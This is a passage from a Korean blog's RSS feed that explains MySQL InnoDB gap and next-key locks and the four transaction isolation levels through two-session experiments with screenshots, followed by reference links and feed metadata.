&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;code&gt;Next-Key Lock&lt;/code&gt;으로 인해 &lt;code&gt;Id=5&lt;/code&gt;의 전, 후 &lt;code&gt;Index Row&lt;/code&gt;&amp;nbsp;&lt;code&gt;Id=3, 7 Record Lock&lt;/code&gt;과 &lt;code&gt;3 &amp;lt; gap lock &amp;lt; 5 &amp;lt; gap lock &amp;lt; 7&lt;/code&gt; 이 걸리기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황4(중요)&lt;/b&gt; : &lt;code&gt;BETWEEN 3 AND 7&lt;/code&gt; 수행 후 &lt;code&gt;Id=2 Insert&lt;/code&gt; , &lt;code&gt;BETWEEN 2 AND 7&lt;/code&gt; 수행 후 &lt;code&gt;Id=1,9 Insert&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6AFfE/btrPbbxEm06/yaffecZwsEJkpIT59i2w00/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c6akA0/btrPaHKAhqB/5CNYOigvXVUpQZZ5TxgVh0/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIKddj/btrO9CJphqJ/h56i0qKugLbi0MHC1o1i3k/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 사진을 보면 &lt;code&gt;Id=2&lt;/code&gt;를 삽입시 &lt;code&gt;Gap Lock&lt;/code&gt; 없이 바로 수행되고, &lt;code&gt;Id=1, 9&lt;/code&gt; 삽입 할 때는 &lt;code&gt;Gap Lock&lt;/code&gt;이 걸린 것을 확인할 수 있다. 자세한 내용은 밑에서 설명하겠다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황5&lt;/b&gt; : &lt;code&gt;BETWEEN 3 AND 7&lt;/code&gt; 수행후 &lt;code&gt;Id=6,7&lt;/code&gt; 검색&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/32b8Y/btrO8ytHRic/bQUHo0eEeJ0kwkauyd0FIk/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 처럼 &lt;code&gt;Session2&lt;/code&gt;에서 &lt;code&gt;BETWEEN 3 AND 7&lt;/code&gt; 수행 후 &lt;code&gt;Session1&lt;/code&gt;에서 &lt;code&gt;Id=6 FOR UPDATE(X-Lock)&lt;/code&gt; 구문이 실행되는 것을 확인. &amp;rarr; &lt;code&gt;Gap Lock&lt;/code&gt;은 &lt;code&gt;Row&lt;/code&gt;가 &lt;code&gt;Insert&lt;/code&gt;되는 것을 방지하기 때문&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6GEB4/btrO5gtBxuC/K2Ju7l16PjQ2jURLmca9pK/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 위 처럼 &lt;code&gt;id=7&lt;/code&gt; 검색하면 &lt;code&gt;X-Lock&lt;/code&gt;이 걸리는 것을 확인 &amp;rarr; &lt;code&gt;id=7&lt;/code&gt;은 &lt;code&gt;Index Record&lt;/code&gt;이므로 &lt;code&gt;Record Lock&lt;/code&gt;이 걸림&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상황4 설명&lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상황4 테스트를 보고 의아한 사람이 있을 수 있다. 내가 그랬기 때문이다. 내가 처음에 이해한 &lt;b&gt;Gap Lock&lt;/b&gt;대로라면 &lt;b&gt;3~7&lt;/b&gt; 범위로 잡혔다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3의 이전 &lt;b&gt;Index(Infi)&lt;/b&gt;와 7의 다음 &lt;b&gt;Index(Infinite)&lt;/b&gt; 즉 전 범위에 &lt;b&gt;Gap Lock&lt;/b&gt;이 걸릴꺼라 생각했는데 &lt;b&gt;3~7&lt;/b&gt;범위에 &lt;b&gt;Id=2&lt;/b&gt;가 삽입됐다. 하지만 &lt;b&gt;2~7&lt;/b&gt;범위에서 &lt;b&gt;Id=1,9&lt;/b&gt;는 모두 &lt;b&gt;Gap Lock&lt;/b&gt;이 걸렸다. 그래서 좀 더 생각해보면서 가설을 세웠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가설 : &lt;b&gt;마지막 Index의 다음 값(+)까지 Gap Lock 건다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3~7&lt;/b&gt;: 마지막 인덱스는&lt;b&gt; 3&amp;rarr;7 , 7&amp;rarr;Infi&lt;/b&gt; 이렇게 될 경우 &lt;b&gt;Id=1,2&lt;/b&gt;는 삽입되지만 7이후로는 모두 &lt;b&gt;Gap Lock&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2~7&lt;/b&gt;: 2까지 봤을 때의 이전 &lt;b&gt;Index&lt;/b&gt;는 &lt;b&gt;Infi(3과 7이 Index이기 때문에 2이전 Index는 Infi)&lt;/b&gt; 이럴 경우 전 범위 &lt;b&gt;Gap Lock(상황4의 Id=1,9 Gap Lock걸린 이유)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5~7&lt;/b&gt;: 5까지의 봤을 때의 이전 &lt;b&gt;Index&lt;/b&gt;는 3, 7 다음 &lt;b&gt;Index(Infi)&lt;/b&gt; 즉&lt;b&gt; 3~Infi Gap Lock Id=4,9&lt;/b&gt; 삽입 안되는 것 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5~6&lt;/b&gt;: 5 이전 &lt;b&gt;Index(3), 6이후 Index(7) &amp;rarr; 3~7범위가 됨 Id=2,8 삽입되는 것 확인&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리해보면 &lt;b&gt;2~7&lt;/b&gt; 범위인 경우 2를 기준으로 Index(Infi)이므로 &lt;b&gt;Infi~3&lt;/b&gt; Gap Lock, 7을 기준으로 &lt;b&gt;Index(7)~Index(Infi)&lt;/b&gt;까지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Gap Lock&lt;/b&gt;을 한다는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;6. Lock이 해제되는 타이밍&lt;/b&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Transaction&lt;/code&gt;이 진행되는 동안 걸린 많은 &lt;code&gt;Lock&lt;/code&gt;들은 &lt;code&gt;Transaction&lt;/code&gt;이 &lt;code&gt;Commit&lt;/code&gt;되거나 &lt;code&gt;Rollback&lt;/code&gt;될 때 함께 해제된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Transaction Isolation Level&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 &lt;code&gt;Transaction Isolation Level&lt;/code&gt;에 대해 알아보자.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;READ UNCOMMITTED(커밋되지 않은 읽기)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;READ COMMITTED(커밋된 읽기)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;REPEATABLE READ(반복 가능한 읽기)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SERIALIZABLE(직렬화 가능)&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Consistent Read&lt;/b&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Tansaction Isolation Level&lt;/code&gt;을 얘기하기전에 &lt;code&gt;Consistent Read&lt;/code&gt; 개념에 대해 알아보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Consistent Read&lt;/code&gt; : &lt;code&gt;SELECT&lt;/code&gt; 구문을 수행할 때 현재 DB 값이 아닌 특정 시점의 &lt;code&gt;DB Snapshot&lt;/code&gt;을 읽어오는 것.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;InnoDB 엔진&lt;/code&gt;은 쿼리를 실행할 때마다 &lt;code&gt;Log&lt;/code&gt;를 남기게되는데 &lt;code&gt;Consistent Read&lt;/code&gt;는 &lt;code&gt;Log&lt;/code&gt;를 이용해 특정 시점의 &lt;code&gt;DB Snapshot&lt;/code&gt;을 복구해 가져온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Read Uncommited&lt;/b&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 트랜잭션에서의 변경 내용이 &lt;code&gt;Commit&lt;/code&gt;이나 &lt;code&gt;Rollback&lt;/code&gt; 여부에 상관 없이 다른 트랜잭션에서 노출되는 &lt;code&gt;Level&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WCRIY/btrO91IXXq5/ApNZVYD2o14TnictckCLO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WCRIY/btrO91IXXq5/ApNZVYD2o14TnictckCLO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WCRIY/btrO91IXXq5/ApNZVYD2o14TnictckCLO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWCRIY%2FbtrO91IXXq5%2FApNZVYD2o14TnictckCLO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;960&quot; height=&quot;116&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;458&quot; data-origin-height=&quot;230&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBzBNv/btrO9kwkVNq/85JrU6LMo115R48Qwuu2l0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBzBNv/btrO9kwkVNq/85JrU6LMo115R48Qwuu2l0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBzBNv/btrO9kwkVNq/85JrU6LMo115R48Qwuu2l0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBzBNv%2FbtrO9kwkVNq%2F85JrU6LMo115R48Qwuu2l0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;458&quot; height=&quot;230&quot; data-origin-width=&quot;458&quot; data-origin-height=&quot;230&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 사진을 보면 &lt;code&gt;Isolation Level&lt;/code&gt;을 &lt;code&gt;Read Uncommited&lt;/code&gt;로 변경후 &lt;code&gt;Session1&lt;/code&gt;에서 &lt;code&gt;Insert&lt;/code&gt;를 수행후 &lt;code&gt;Commit&lt;/code&gt;, &lt;code&gt;Rollback&lt;/code&gt;을 수행하지 않았지만 &lt;code&gt;Session2&lt;/code&gt;에서 조회시 &lt;code&gt;Id=1&lt;/code&gt;이 조회되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wBoBx/btrO8yN3R4Q/fFfYzKU1y56IKkq3wSldJ0/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNgLAz/btrO6gz73LS/UOKhH7fqZoEHoJ24ycQ4o1/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Rollback&lt;/code&gt; 수행후 다시 조회하면 &lt;code&gt;Id=1&lt;/code&gt;은 삭제된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 &lt;code&gt;Commit&lt;/code&gt;되지 않은 데이터를 다른 트랜잭션에서 조회되는 현상을 &lt;code&gt;Dirty Read&lt;/code&gt; 라 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Dirty Read&lt;/code&gt;가 발생하면 데이터의 정합성에 많은 문제가 발생할 확률이 높기에 거의 사용하지 않는 &lt;code&gt;Level&lt;/code&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Read Commited&lt;/b&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code&gt;Commit&lt;/code&gt;&lt;/b&gt; 된 데이터만 보이는 수준의 &lt;code&gt;Isolation&lt;/code&gt;을 보장하는 &lt;code&gt;Level&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Read Commited&lt;/code&gt;는 트랜잭션 안에서 &lt;code&gt;SELECT&lt;/code&gt; 구문을 수행할 때마다 &lt;code&gt;Snapshot&lt;/code&gt;을 새로 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;트랜잭션A&lt;/code&gt;가 &lt;code&gt;SELECT&lt;/code&gt; 수행 후 &lt;code&gt;트랜잭션B&lt;/code&gt;에서 데이터 변경후 &lt;code&gt;Commit&lt;/code&gt;한 다음 &lt;code&gt;트랜잭션A&lt;/code&gt;가 다시 &lt;code&gt;SELECT&lt;/code&gt;를 수행하면 데이터가 &lt;b&gt;변경&lt;/b&gt;된 것을 감지할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 내가 생각한 의문은 왜 굳이 &lt;code&gt;Select&lt;/code&gt;마다 &lt;code&gt;Snapshot&lt;/code&gt;을 새로 읽냐는 것이었다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 &lt;code&gt;InnoDB&lt;/code&gt;는 &lt;code&gt;Insert&lt;/code&gt;,&lt;code&gt;Update&lt;/code&gt;등으로 수정된 데이터를 &lt;code&gt;Commit&lt;/code&gt;을 하지 않아도 실제 DB에 적용시킨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Read Commited == Commit된 데이터만 보여준다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 트랜잭션에서 &lt;code&gt;Select&lt;/code&gt;를 할 때마다 다른 트랜잭션에서 &lt;code&gt;Commit&lt;/code&gt;된 데이터를 알기 위해서는 &lt;code&gt;DB Snapshot&lt;/code&gt;을 계속 읽어야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;** &lt;b&gt;&lt;code&gt;Read Commited&lt;/code&gt;는 &lt;code&gt;Gap Lock&lt;/code&gt;을 사용하지 않는다. **&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이로 인해 &lt;code&gt;Read Commited&lt;/code&gt;에서는 &lt;code&gt;Phantom Read&lt;/code&gt;가 발생할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;code&gt;Phantom Read&lt;/code&gt;는 트랜잭션 안에서 같은 &lt;code&gt;Select&lt;/code&gt;를 두 번 수행했을 때 처음 수행때는 안보였던 &lt;code&gt;Row&lt;/code&gt;가 두번째 수행때 나타나는 것을 의미한다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6CWbc/btrO919XVCK/DCLYkSKNP6fIhkakRT0A21/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvKOfH/btrO4oSZpKd/cv2E04HR4oEeuabo3GK3KK/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 사진을 보면 &lt;code&gt;Session1&lt;/code&gt; 에서 &lt;code&gt;Insert&lt;/code&gt;를 수행 후 &lt;code&gt;Session2&lt;/code&gt;에서 &lt;code&gt;Select&lt;/code&gt;를 수행하면 아직 &lt;code&gt;Commit&lt;/code&gt;이 되지 않았기 때문에 &lt;code&gt;Id=1 Row&lt;/code&gt;가 &lt;b&gt;노출되지 않는 것을 확인할 수 있다.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QPDSv/btrPbCaOCco/6CSpEO4K8xq3VAPm25fmkk/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sdVDc/btrPbDHyuES/XUxZejZ8A3jSkZmzEwKOZ1/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 &lt;code&gt;Session1&lt;/code&gt;에서 &lt;code&gt;Commit&lt;/code&gt;후 &lt;code&gt;Session2&lt;/code&gt;에서 &lt;code&gt;Select&lt;/code&gt;를 수행하면 &lt;code&gt;Id=1 Row&lt;/code&gt;가 노출되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 아래처럼 쿼리가 수행한다면 &lt;code&gt;Session2&lt;/code&gt;에서는 없던 &lt;code&gt;Phantom Read&lt;/code&gt;가 발생하게 된다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zqDlo/btrPajDbGd3/Tiq9KlmnbTNbVOVuOV3MKK/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c9vlTi/btrPbDOjrnO/Kgno1rH61BvsMQE7pfDDg0/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 위 사진을 통해 &lt;code&gt;Session2&lt;/code&gt;에 &lt;code&gt;Between 3 And 7&lt;/code&gt;을 수행해도 &lt;code&gt;Gap Lock&lt;/code&gt;이 걸리지 않기에 &lt;code&gt;Id=6&lt;/code&gt;이 삽입되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Repeatable Read&lt;/b&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;트랜잭션에서 반복된 &lt;code&gt;Select&lt;/code&gt;를 수행해도 값이 변하지 않을정도로 &lt;code&gt;Isolation&lt;/code&gt;을 보장하는 &lt;code&gt;Level&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Repeatable Read&lt;/code&gt; 는 트랜잭션이 &lt;b&gt;처음 &lt;code&gt;Select&lt;/code&gt;를 수행한 시간을 기록&lt;/b&gt;하여 이후 &lt;code&gt;Select&lt;/code&gt;마다 해당 시점을 기준으로 &lt;code&gt;Consistent Read&lt;/code&gt;를 수행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이로 인해 다른 트랜잭션에서 데이터 삽입,수정후 &lt;code&gt;Commit&lt;/code&gt;되더라도 &lt;b&gt;변경된 데이터는 보이지 않는다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 &lt;code&gt;Read Commited&lt;/code&gt;에서 사용되지 않는 &lt;code&gt;Gap Lock&lt;/code&gt;을 &lt;code&gt;Repeatable Read&lt;/code&gt;에서는 &lt;code&gt;Lock&lt;/code&gt;을 사용하는 구문에서 활용된다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1Hq8k/btrPa28Oxhc/J4c4kTvDZcV9fSVCNkcLj1/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 사진 &lt;code&gt;Session2&lt;/code&gt;에서 &lt;code&gt;Select For Share&lt;/code&gt;를 통해 &lt;code&gt;c Table&lt;/code&gt; 전체에 &lt;code&gt;Gap Lock&lt;/code&gt;을 걸었기에&amp;nbsp;&lt;code&gt;Session1&lt;/code&gt;에서 &lt;code&gt;Insert&lt;/code&gt;구문을 수행시&amp;nbsp;&lt;code&gt;Lock&lt;/code&gt;이 걸리는 것을 확인할 수 있다. 그렇기에 &lt;code&gt;Session2&lt;/code&gt;에서 &lt;code&gt;Phantom Read&lt;/code&gt;가 발생하지 않는다(&lt;code&gt;Commit&lt;/code&gt;할 때까지 &lt;code&gt;Gap Lock&lt;/code&gt;이 걸려있기에)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Serializable&lt;/b&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 트랜잭션을 다른 트랜잭션으로부터 완전히 분리하는 &lt;code&gt;Level&lt;/code&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333; font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Serializable&lt;/code&gt;은 기본적으로 &lt;code&gt;Select&lt;/code&gt; 구문이 모두 &lt;code&gt;Select For Share&lt;/code&gt; 로 변경된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이로 인해 &lt;code&gt;DeadLock&lt;/code&gt;이 쉽게 걸릴 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oPppe/btrO6gNDsc4/KdIs8Pf4o6HqsbN9jM5Ijk/img.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 사진처럼 각 세션이 &lt;code&gt;Select&lt;/code&gt; 구문을 날려 &lt;code&gt;S-Lock&lt;/code&gt;을 획득하고 서로 &lt;code&gt;Update&lt;/code&gt;를 수행하면 &lt;code&gt;DeadLock&lt;/code&gt;이 걸리는 것은 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://code-lab1.tistory.com/51&quot;&gt;https://code-lab1.tistory.com/51&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://suhwan.dev/2019/06/09/transaction-isolation-level-and-lock/&quot;&gt;https://suhwan.dev/2019/06/09/transaction-isolation-level-and-lock/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://singun.github.io/2019/03/10/mysql-innodb-locking/&quot;&gt;https://singun.github.io/2019/03/10/mysql-innodb-locking/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://velog.io/@soyeon207/DB-Lock-%EC%B4%9D%EC%A0%95%EB%A6%AC-1-InnoDB-%EC%9D%98-Lock&quot;&gt;https://velog.io/@soyeon207/DB-Lock-총정리-1-InnoDB-의-Lock&lt;/a&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.letmecompile.com/mysql-innodb-lock-deadlock/&quot;&gt;https://www.letmecompile.com/mysql-innodb-lock-deadlock/&lt;/a&gt;&lt;/p&gt;</description>
      <category>알아가는 개발</category>
      <category>acid</category>
      <category>Database</category>
      <category>Exclusive Lock</category>
      <category>Inno DB</category>
      <category>LOCK</category>
      <category>MySQL InnoDB</category>
      <category>transaction</category>
      <category>Transaction isolation level</category>
      <category>트랜잭션</category>
      <author>Awdsd</author>
      <guid isPermaLink="true">https://cjw-awdsd.tistory.com/57</guid>
      <comments>https://cjw-awdsd.tistory.com/57#entry57comment</comments>
      <pubDate>Thu, 20 Oct 2022 23:53:04 +0900</pubDate>
    </item>
    <item>
      <title>[스프링] 로깅 개념/설정 예제(feat. Logback)</title>
      <link>https://cjw-awdsd.tistory.com/56</link>
